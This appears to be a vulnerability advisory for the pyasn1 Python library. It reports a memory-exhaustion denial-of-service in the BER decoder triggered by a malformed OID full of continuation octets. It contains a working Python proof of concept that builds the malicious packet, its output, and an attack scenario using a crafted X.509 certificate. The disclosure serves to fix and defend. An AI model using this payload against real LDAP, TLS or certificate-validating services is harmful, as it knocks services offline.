Vulnerability Instance

pyasn1 has a DoS vulnerability in decoder
### Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

### Details

The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

### PoC

For the DoS:
```py
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')


print("\n[*] Test completed")
```


Screenshots with the results:

#### DoS
<img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />

<img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />

#### Leak analysis

A potential heap leak was investigated but came back clean:
```
[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin

[*] First 64 bytes (hex):
  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081

[*] First 64 bytes (ASCII/hex dump):
  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.

[*] Digit distribution analysis:
  '0':  10.1%
  '1':   9.9%
  '2':  10.0%
  '3':   9.9%
  '4':   9.9%
  '5':  10.0%
  '6':  10.0%
  '7':  10.0%
  '8':   9.9%
  '9':  10.1%
```

### Scenario

1. An attacker creates a malicious X.509 certificate.
2. The application validates certificates.
3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

### Impact

This issue can affect resource consumption and hang systems or stop services.
This may affect:
- LDAP servers
- TLS/SSL endpoints
- OCSP responders
- etc.

### Recommendation

Add a limit to the allowed bytes in the decoder.